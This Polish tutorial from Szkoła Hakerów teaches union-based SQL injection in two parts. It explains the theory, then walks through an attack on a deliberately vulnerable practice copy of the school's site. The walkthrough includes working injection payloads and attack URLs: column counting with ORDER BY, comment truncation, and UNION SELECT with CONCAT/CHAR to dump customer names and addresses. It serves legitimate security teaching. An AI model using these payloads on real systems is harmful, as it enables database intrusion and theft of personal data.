Jak "zhakować" Szkołę Hakerów?
Atak typu SQL Injection

Maciej a.k.a. fingerout Falkiewicz

Artykuł ten opisuje technikę przeprowadzenia ataku typu SQL Injection (wstrzyknięcie kodu SQL).

W celu samodzielnego przeprowadzenia opisanego ataku, zapraszamy na stronę www.hackme.szkolahakerow.pl. Została ona specjalnie przygotowana do tego, aby każdy bez obaw i całkowicie legalnie mógł sprawdzić, jak działa SQL Injection w praktyce.

Przestrzegamy przed wykorzystywaniem informacji tu zawartych na innych stronach internetowych.

Próby pozyskania informacji dla Ciebie nie przeznaczonych, w szczególności informacji niejawnych, są przestępstwem!

SzkolaHakerow.pl ani autor publikacji nie ponoszą odpowiedzialności za niezgodne z prawem wykorzystanie informacji zawartych w niniejszym artykule.

Niniejszy materiał ma charakter edukacyjny.

Atak *SQL Injection*. Trochę teorii, trochę praktyki.

W większości przypadków, zawartość stron internetowych jest generowana dynamicznie. Znaczy to, że ich treść nie znajduje się w pliku (.html), lecz pobierana jest z bazy danych, odpowiednio sortowana i wyświetlana użytkownikowi na stronie. Dzięki temu, bez żadnego problemu internauta zobaczy na stronie to co chce, lub to, co my chcemy mu pokazać. Strona (skrypt) komunikuje się z bazą danych za pomocą przeznaczonego do tego celu języka: SQL.

Przykładem tego typu konstrukcji są systemy newsów na stronach www. Dzięki temu, że wiadomości są przechowywane w bazie danych a nie w statycznych plikach, mamy dużą swobodę, jeśli chodzi o ich prezentację użytkownikowi.

W zależności od tego, co użytkownik chce w danej chwili zobaczyć (na przykład: najnowsze wiadomości, tylko wiadomości z wybranego dnia czy może też ostatnich 20 wiadomości), skrypt na naszej stronie generuje w języku SQL odpowiednie zapytanie do bazy danych, a ta zwraca mu wiadomości spełniające podane kryteria.

W ten sposób działają portale, fora dyskusyjne, sklepy internetowe oraz większość stron, które odwiedzają Internauci.

Idea dynamicznego generowania zapytań SQL jest - jak widać - niezwykle pożyteczna. Jednak drugą stroną medalu jest to, iż przy pisaniu skryptów generujących zapytania do bazy, programiści dość często popełniają błędy. Nawet drobne pomyłki i niedopatrzenia przy pisaniu kodu, często są przyczyną powstawania "luk", które mogą zostać wykorzystane przez hakera.

Wyobraź sobie, jakie dane może "wyciągnąć" z bazy haker, jeżeli znajdzie sposób na wysłanie dowolnego zapytania do bazy: loginy, hasła, dane osobowe, numery kart kredytowych... i co tylko w bazie się znajduje.

To właśnie umożliwiają ataki typu *SQL Injection* (wstrzyknięcie kodu SQL).

SQL Injection wykorzystuje błędy programistyczne, które umożliwiają nam "wstrzyknięcie" czy "doklejenie" własnego zapytania SQL w taki sposób, że traktowane jest ono jak gdyby było zapytaniem, które generuje skrypt strony. Dzięki temu "przechodzi ono niezauważone", a skrypt "nieświadomie" wyświetla nam dane, których nie powinienniśmy zobaczyć.

Jakiś czas temu, został przeprowadzony **udany** atak typu *SQL Injection* na stronę internetową www.szkolahakerow.pl. W pierwszej części tego artykułu wyjaśnimy sobie na przykładach, na czym polega pewien wariant tego ataku, natomiast w części drugiej wspólnie przeprowadzimy skuteczny atak na stronę www.hackme.szkolahakerow.pl

W efekcie naszego ataku, uzyskamy dostęp do bazy zawierającej dane fikcyjnych klientów.

Uwaga: strona www.hackme.szkolahakerow.pl jest KOPIĄ serwisu www.szkolahakerow.pl, przygotowaną specjalnie do tego, aby każdy mógł samodzielnie przeprowadzić atak. Sam serwis www.szkolahakerow.pl został zabezpieczony przed tego typu atakami.

Kto pyta, nie błądzi...

Wyobraźmy sobie taką sytuację: skrypt php (nasza przykładowa strona www), wysyła do bazy danych następujący komunikat:

Wyślij mi rekordy tabeli 'news', w których pole id jest mniejsze od 20.

Baza zwraca żądane informacje, a strona ma dane do wyświetlenia.

Dla przypomnienia, tabele baz danych wyglądają mniej więcej tak (przykładowa tabela news):

id	tytul	tresc	autor
1	nasza strona rusza	to nie jest istotne..	admin
3	pierwszy 1000 użytkowników	treść newsa	kasia
5	nowy partner naszej firmy	i jeszcze jednego	admin
14	otrzymaliśmy nagrodę	itd.	Ania
17	nowe artykuły	itp.	tomek
21	forum wystartowało	hurra, mamy forum	andrzej
23	to już rok	tak tak, to już rok	admin

Nasz skrypt, zażądał od bazy danych, aby wysłała mu te wiersze tabeli news, w których pole 'id' ma wartość mniejszą od 20. Baza zwróci pola o id równym 1,3,5,14,17. No dobrze, to było proste, ale co z tego?

Główną zaletą języków skryptowych takich jak php, jest możliwość generowania stron dynamicznych, tj. na żądanie. Dzięki temu, możemy wyświetlić użytkownikowi dokładnie to, co chce zobaczyć.

Załóżmy, że chcemy dać odwiedzającym naszą stronę możliwość oglądania archiwum newsów, od wybranego newsa wstecz. Uzyskamy to, wstawiając do zapytania zaprezentowanego powyżej id newsa, wprowadzony przez użytkownika. Nasze zapytanie przybierze następującą postać:

"Wyślij mi rekordy tabeli 'news', w których pole id jest mniejsze od [tutaj wstawimy wartość podaną przez użytkownika]".

W języku SQL (używanym w komunikacji z bazą danych), nasze zapytanie ma postać:

```
SELECT * FROM `news` WHERE `id` < $wartość_podana_przez_użytkownika
```

(za pomocą znaku $ w php oznaczamy zmienne – jeżeli przed tym zapytaniem nadamy zmiennej wartość_podana_przez_użytkownia pewną wartość, php wstawi ją do naszego zapytania zamiast '$wartość_podana_przez_użytkownika'.)

Jak do tej pory wszystko wygląda prawidłowo. Ale czy na pewno? Jeśli się chwilę zastanowimy, dojdziemy do wniosku, że użytkownik może podać dowolny ciąg znaków, ponieważ nasz skrypt nie sprawdza czy wprowadzone przez użytkownika dane to liczba.

Pomyślmy, co się stanie w przypadku, gdy użytkownik zamiast oczekiwanego 'id' skonstruuje końcówkę zapytania tak:

"0 i dorzuć mi do tego wszystkie rekordy z tabeli dane klientów".

Nasze zapytanie do bazy przyjmie więc postać:

"Wyślij mi rekordy tabeli 'news', w których pole id jest mniejsze od 0 i dorzuć mi do tego wszystkie rekordy z tabeli dane klientów".

W języku SQL:

```
SELECT * FROM `news`  WHERE `id`< 0 UNION SELECT * FROM
                                                    `dane_klientów`
```

Jak widać w tym przypadku, sytuacja nie wygląda już tak jak to sobie zaplanowaliśmy. Oczywistym staje się, że baza nie zwróci żadnych danych z tabeli news (nie ma rekordów o 'id' mniejszym od 0), za to zgodnie z żądaniem, wyśle nam zawartość tabeli dane_klientów. Wszystko byłoby dobrze gdyby nie to, że wcale nie mamy ochoty się nimi dzielić...

Przedstawiona powyżej sytuacja została trochę uproszczona, aby przybliżyć samą ideę działania ataków klasy *sql injection* (wstrzyknięcie kodu sql). Język sql nakłada na nas trochę ograniczeń, ale jak wiadomo - dla chcącego nic trudnego, więc bez większych problemów sobie z nimi poradzimy.

Pierwszym problemem jaki możemy napotkać to fakt, iż baza danych (w tym wypadku MySQL, choć tyczy się to wszystkich baz opartych o język SQL) wymaga, aby ilość pól w łączonych tabelach (my chcemy połączyć tabele news i dane_klientów) była taka sama. Jest to dość logiczne, gdyż w wypadku, w którym pierwsza tabela ma 4 pola, a druga na przykład 5 pól, nie wiadomo, co należałoby wstawić w 5 kolumnie przy wierszach z pierwszej tabeli.

Na szczęście język sql pozwala nam precyzyjnie określić jakie dane chcemy otrzymać. Przykładowo, możemy wysłać do bazy zapytanie:

“Z tabeli 'dane_klientów' wyślij mi pola imie,nazwisko,ulica,miasto ze wszystkich rekordów”
w języku sql:

```
SELECT imie,nazwisko,ulica,miasto FROM `dane_klientow`
```

I problem rozwiązany. Z obu tabel odczytujemy po 4 wiersze, więc wszystko się zgadza.

Kolejna przeszkoda którą możemy napotkać, to nieznajomość ilości pól w tabeli, z której skrypt pobiera dane (pamiętajmy, że szukając błędów na stronie, nie wiemy jak dokładnie wygląda zapytanie do bazy, a co za tym idzie, nie wiemy ile pól musi mieć tabela, którą chcemy dołączyć do rezultatu zwracanego przez bazę).

I na ten problem jest dość prosty sposób. Język sql umożliwia nam sortowanie zwracanych wyników. Przykładowo, możemy wysłać do bazy następujące zapytanie:

"Wyślij mi wszystkie rekordy z tabeli 'news' posortowane wg. pola tytuł, rosnąco"

w języku sql:

```
SELECT * FROM `news` ORDER BY `tytul` ASC
```

ASC – rosnąco, DESC - malejąco. Baza zwróci nam tabele news, posortowaną alfabetycznie (tj. pierwszy będzie rekord zawierający tytuł na np. literę A, drug na B itd.). Wiedząc że kolumna tytuł jest druga, możemy sformułować nasze zapytanie następująco:

Wyślij mi wszystkie rekordy z tabeli 'news' posortowane wg. drugiej kolumny rosnąco

w sql:

```
SELECT * FROM 'news' ORDER BY 2 ASC
```

Co z tego? Mała podpowiedź: jeżeli wyślemy do bazy zapytanie nakazujące posortować zwracaną tabelę według 15 kolumny, a tabela ma tylko 4 kolumny, to baza zwróci błąd, zamiast danych; tym sposobem możemy się dowiedzieć, ile kolumn ma tabela: sprawdzając kolejno czy da się ją sortować po 1,2,3... kolumnie; w przypadku dużych tabel, gdy przykładowo przy sortowaniu po 10 kolumnie, baza nadal zwraca dane (co świadczy o tym że 10 kolumna istnieje), skuteczniej będzie sprawdzać, czy istnieje - powiedzmy - 50 kolumna; jeżeli nie, sprawdzamy czy istnieje 25; jeżeli nie, to czy istnieje 12; jeżeli zaś tak to czy istnieje (50+25)/2 ~ 35 itd. w zależności od tego czy baza zwróci dane czy też nie.

Istotnym faktem, który należy mieć na uwadze jest to, iż wprowadzana przez nas wartość może się znaleźć w środku zapytania. Rozpatrzmy następujące zapytanie:

Wyślij mi wszystkie rekordy z tabeli 'news', w których 'id' jest mniejsze od [wartość podana przez użytkownika], posortowaną po tytule rosnąco:

```
SELECT * FROM `news` WHERE `id`< $wartość_podana_przez_użytkownika
                                                ORDER BY `title` ASC
```

Jeżeli podalibyśmy nasz fragment zapytania (np. ' 1 posortuj wg. 5 kolumny' – 1 ORDER BY 5 ASC), to baza zwróciła by błąd (dwa razy występuje nakaz sortowania i nie jest jasne, według której kolumny ma sortować).

Trikiem, którym posłużymy się aby obejść ten problem, będzie użycie znaku rozpoczynającego komentarz. W przypadku języka sql jest to ' -- ' lub ' /* '. Dla osób, które nigdy nie programowały: komentarz jest to fragment tekstu zawarty w kodzie programu, ale nie wpływający w żaden sposób na jego działanie. Charakterystyczne dla komentarzy jest to, że są one odpowiednio oznaczone, dzięki czemu podczas wykonywania programu są one po prostu ignorowane.

O to właśnie chodzi w naszym przypadku: chcemy aby część zapytania następująca po wprowadzonych przez nas danych została zignorowana. Jeżeli baza nie zwróciła danych po wprowadzeniu warunku sortowania dla 1 kolumny (1 ORDER BY 1), należy na końcu naszego zapytania postawić znacznik rozpoczynający komentarz (' -- ' lub ' /* '), aby dalsza część została zignorowana. Nasze nowe zapytanie (po dodaniu symbolu komentarza będzie wyglądać następująco:

```
SELECT * FROM `news` WHERE `id`<1 ORDER BY 1 -- ORDER BY `title` ASC)
```

Teraz bez problemu możemy sprawdzić ile kolumn ma nasza tabela, do której "doklejamy".

Trochę techniki, trochę intuicji

No dobrze, wiemy już jak pobrać dane z innej tabeli, wiemy ile pól powinniśmy pobrać, ale nie wiemy jeszcze, jak nazywają się pola, które chcemy sobie obejrzeć, oraz jak nazywa się tabela, w której się znajdują. Wbrew pozorom to jedna z najtrudniejszych części ataku sql injection. Sytuacja, w której nazwy pól i tabel można odczytać z innej tabeli (specjalne tabele przechowujące strukturę bazy danych) zdarzają się tak rzadko, że nie będziemy tu opisywać tego wariantu. Pozostaje nam zgadywać jak nazywają się poszczególne pola i tabela, która je zawiera – w końcu wiemy chyba co chcemy odczytać, albo...

...źródło strony. Wbrew pozorom źródło strony, które jest dostępne dla każdego odwiedzającego, może często zawierać bardzo cenne informacje, takie jak nazwy pól w tabeli. Gdzie ich szukać? Formularze (np. zamówienia) stworzone za pomocą języka html, wyglądają np. Tak:

```
<FORM name="zamowienie" METHOD=POST
ACTION="index.php?what=zamowienie"
                              onsubmit="return validateForm(this);">
      <input type="hidden" name="step1" value="1">
      <input type="hidden" name="prom" value="0">
      Imię: <input type=text name=imie>
      Nazwisko: <input type=text name=nazwisko>
      Ulica i nr domu: <input type=text
                      value="Ulica i numer domu/mieszkania" name=ulica>
      Miasto: <input type=text name=miasto>
```

Istnieje spore prawdopodobieństwo, że pola w tabeli będą miały tą samą nazwę, co pola formularza (imie, nazwisko, ulica, miasto itd.)

No dobrze, umiemy już poznać wymaganą ilość pól, udało nam się też odgadnąć bądź znaleźć ich nazwy, ale mimo wszystko podczas naszego ataku, na stronie wyświetla się tylko jedno pole.

Przykładowo: dowiedzieliśmy się, że tabela z newsami ma 4 pola, wprowadziliśmy parametr id o wartości:

```
0 UNION SELECT  imie, nazwisko, ulica, miasto FROM `zamowienia` --
```

ale na stronie wyświetlają się jedynie miasta, natomiast reszta danych nie jest widoczna. Co na to poradzić?

Rozbudowany język sql znowu przychodzi nam z pomocą. Podczas wykonywania zapytań zamiast pola z tabeli, możemy podać funkcje. Przykładowo:

```
SELECT imie,nazwisko, NOW() FROM 'news'
```

zwróci tabele zawierającą 3 kolumny: w pierwszej imie z tabeli news, w drugiej nazwisko z tej samej tabeli, a w trzeciej aktualną godzinę na serwerze (zwróconą przez funkcję NOW()).

Za pomocą funkcji CONCAT(), możemy skleić dowolne pola ze zwracanego rekordu.

```
CONCAT(imie, nazwisko)
```

zwroci np. JanKowalski. Aby uczynić dane bardziej czytelnymi, przy naszym “sklejaniu”, między pola, wstawimy znak średnika (';'). Ponieważ serwer może filtrować znaki apostrofu użyjemy jeszcze jeden funkcji: CHAR(kod znaku). CHAR(59) ma to samo znaczenie co ' ; ' z tym że nie używamy apostrofów, które mogą być filtrowane. Wpisując:

```
 SELECT CONCAT(imie,CHAR(59),nazwisko,CHAR(59),ulica,CHAR(59),miasto)
                                                          FROM 'news'
```

uzyskamy tabele z jedną kolumną zawierającą przykładowo:

Jan;Kowalski;Modra 14;Warszawa.

Pola w tabelach mają z góry określony typ danych jakie przechowują (np. tekst, liczby, daty itd.). Jeżeli robimy wszystko jak należy, a na stronie nic się nie wyświetla lub wyświetla się błąd, prawdopodobne jest, że pole w którym chcemy otrzymać nasze dane jest innego typu niż to w pierwszej tabeli (do której doklejamy).

Jeżeli chcemy aby w 2 kolumnie baza zwróciła nam tekst, to druga kolumna pierwszej tabeli musi być tego samego typu, w innym wypadku nastąpi błąd.

Dzięki temu że NULL (czyli zero), może występować w polu każdego typu, możemy trochę poeksperymentować i odnaleźć pole, w którym możemy odebrać tekst. Zapytanie pierwsze (pogrubienie oznacza fragment podany przez nas):

```
SELECT * FROM 'news' WHERE `id`< 0 UNION SELECT
                        CONCAT(imie,CHAR(59),nazwisko,CHAR(59),
                                             ulica,CHAR(59),miasto),
                                                NULL,NULL,NULL,NULL --
```

prawdopodobnie nie zwróci żadnych danych. Przeanalizujmy je:

Wyślij wszystkie rekordy z tabeli news gdzie pole 'id' jest mniejsze od 0 i dorzuć do tego następujące pola: w polu pierwszym, zwróć połączone imie i ; i nazwisko i ; i ulica i ; i miasto, w polu drugim NULL, w polu trzecim NULL, w polu czwartym NULL

Wiemy już, że tabela ma 4 kolumny. Spróbujmy więc wysłać nasz tekst w drugim polu:

```
SELECT * FROM 'news' WHERE `id`<0 UNION SELECT NULL,
CONCAT(imie,CHAR(59),nazwisko,CHAR(59),ulica,CHAR(59),miasto),NULL, NULL --
```

Nadal doklejamy tabele z 4 polami, jednak w tym wypadku, nasz tekst będzie się znajdować w drugim polu, a nie - jak poprzednio - w pierwszym.

Tym razem na stronie powinniśmy zobaczyć nasze upragnione dane (ponieważ 2 kolumna jest typu tekstowego).

Jeżeli nie udałoby się to nam, musielibyśmy "przesuwać" nasz tekst (NULL, NULL, CONCAT(...), NULL itd.).

Istnieje oczywiście dużo o wiele bardziej zaawansowanych technik wstrzykiwania kodu sql, ale wszystkie opierają się na tych samych zasadach, więc dalsze eksperymenty nie powinny sprawiać już problemu.

Należy pamiętać, że najczęstszym miejscem, w które można wstrzyknąć kod sql są **parametry** (np. w adresie strony), **w których podaje się liczby**. W ten właśnie sposób haker dostał się do bazy Szkoły Hakerów – wstrzykując kod w adresie:

```
http://hackme.szkolahakerow.pl/?move=back&od=-1%20UNION%20SELECT%20 .......
```

(%20 to spacja)

Własne eksperymenty można prowadzić pod adresem http://hackme.szkolahakerow.pl.

"Hakujemy" stronę Szkoły Hakerów

Na podstawie przedstawionych powyżej informacji, spróbujemy teraz przeprowadzić atak na http://hackme.szkolahakerow.pl. Jest ona wierną kopią strony www.szkolahakerow.pl sprzed kilku tygodni.

Zaczniemy od znalezienia parametru, który nie jest prawidłowo sprawdzany, a co za tym idzie, pozwala na wstrzyknięcie kodu do zapytania sql. Zgodnie z tym co napisałem wcześniej, poszukamy parametrów, które powinny być liczbą; aby sprawdzić, czy dany parametr nie jest odpowiednio filtrowany, obok liczby dodamy znak ' (apostrof). Jeżeli wyświetlona strona będzie się różnić od tej, którą zobaczyliśmy podając prawidłowy parametr, prawdopodobnie znaleźliśmy dobry punkt do przeprowadzenia ataku.

Na początku sprawdźmy jak zachowa się skrypt, gdy zmienimy parametr przy wyświetlaniu pojedynczego newsa:

```
http://hackme.szkolahakerow.pl/index.php?fnc=single&id=40'&what=news
```

Jak widać, nic się nie zmieniło, więc parametr *id* jest poprawnie filtrowany. Spróbujmy teraz zajrzeć do archiwum newsów: klikamy "<< Poprzednie" na dole strony.

W pasku adresu przeglądarki dodajemy nieliczbowy znak ' do parametru:

```
http://hackme.szkolahakerow.pl/?move=back&od=18'
```

i naszym oczom ukazuje się piękny komunikat o błędzie w zapytaniu sql (nie na każdym serwerze zobaczymy komunikat, ale strona wynikowa praktycznie zawsze będzie się różnić od tej bez '):

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /srv/www/htdocs/web51/html/news/pokaz_archiwum.php on line 27
Przykro mi, brak newsów ;(
Ilość wiadomości w archiwum: 18.

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /srv/www/htdocs/web51/html/news/pokaz_archiwum.php on line 50

Skoro wiemy już gdzie będziemy wstrzykiwać kod, musimy się teraz zastanowić, jakie informacje chcemy wyciągnąć z bazy. Ciekawym pomysłem byłoby uzyskanie dostępu do danych klientów, dlatego też spróbujmy odgadnąć jak nazywa się tabela z tymi danymi.

Pierwszym krokiem będzie stworzenie poprawnego zapytania, z wstrzykniętym kodem sql. Ponieważ możemy się domyślać, że nasz parametr znajduje się w części warunków zapytania (wyświetl newsy o id mniejszym od itd.), dlatego też, spróbujemy dodać nowy warunek:

```
http://hackme.szkolahakerow.pl/?move=back&od=18 and 1=1
```

Zapytanie będzie wyglądać teraz mniej więcej tak:

wyświetl newsy z id mniejszym od 18

i dodatkowym warunkiem, który musi zostać spełniony:

oraz: 1 = 1

jak wiadomo, taki warunek zawsze będzie spełniony.

Dopisaliśmy warunek, który jest zawsze spełniony po to, aby sprawdzić, czy "doklejenie" naszego własnego fragmentu kodu nie spowoduje błędu. Faktycznie - udało się. Wiemy teraz, że w tym miejscu możemy wstrzykiwać kod. Teraz pora na kolejny krok.

Jak już wspomnieliśmy wcześniej, musimy określić ile pól ma tabela. Postępując zgodnie z powyższym opisem, wpisujemy w pasku adresu przeglądarki:

```
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 5/*
```

Strona nie zwróciła błędu, a więc wiemy, że tabela ma 5 kolumnę. Sprawdźmy czy ma 10tą:

```
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 10/*
```

Jak widać pojawił się błąd, stąd prosty wniosek, że nie ma 10tej kolumny. Może 7?

```
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 7/*
```

Okazuje się, że nie. Spróbujmy 6:

```
http://hackme.szkolahakerow.pl/?move=back&od=18 order by 6/*
```

Tak! A skoro ma 6, a nie ma 7, to logicznym jest, że tabela ma dokładnie 6 kolumn.

Zastanówmy się teraz nad nazwą tabeli z danymi zamawiających klientów. Tutaj zgadujemy. Logicznym wydaje się nazwanie takiej tabeli "zamówienia". Sprawdźmy:

```
http://hackme.szkolahakerow.pl/?move=back&od=18 union select
NULL,NULL,NULL,NULL,NULL,NULL from zamowienia/*
```

Strona nie zwróciła błędu, więc znamy już nazwę tabeli z zamówieniami. Sprawmy teraz, aby newsy nie były wyświetlane:

```
http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,NULL,NULL,NULL,NULL,NULL from zamowienia/*
```

Nie ma newsów o *id* mniejszym od 0, a o takie właśnie poprosiliśmy bazę (`&od=0`). Żadne newsy więc nie będą wyświetlone.

Poszukajmy teraz nazw pól zamówienia. W tym celu przyjrzyjmy się źródłu strony, na której można składać zamówienia i odnajdźmy tam formularz do tego służący.

Jak widać, poszczególne pola nazywają się:

```
imie, nazwisko, ulica, miasto
```

Spróbujmy więc je wyświetlić, aby sprawdzić czy pola w tabeli nazywają się tak samo:

```
http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,imie,NULL,NULL,NULL,NULL from zamowienia/*

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,nazwisko,NULL,NULL,NULL,NULL from zamowienia/*

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,ulica,NULL,NULL,NULL,NULL from zamowienia/*

http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,miasto,NULL,NULL,NULL,NULL from zamowienia/*
```

Skoro już znamy nazwy pól i tabeli, połączmy je w pojedyncze pole, tak jak zostało to opisane wcześniej:

```
http://hackme.szkolahakerow.pl/?move=back&od=0 union select
NULL,CONCAT(imie,char(59),nazwisko,char(59),ulica,char(59),miasto),NULL,NULL,
NULL,NULL from zamowienia/*
```

Gratuluję!

Jeżeli zrobiłeś wszystko jak należy, to właśnie przeprowadziłeś udany atak *sql injection* na stronę *Szkoły Hakerów*. Twoim oczom powinny się ukazać dane klientów w miejscu, gdzie wyświetlane są newsy.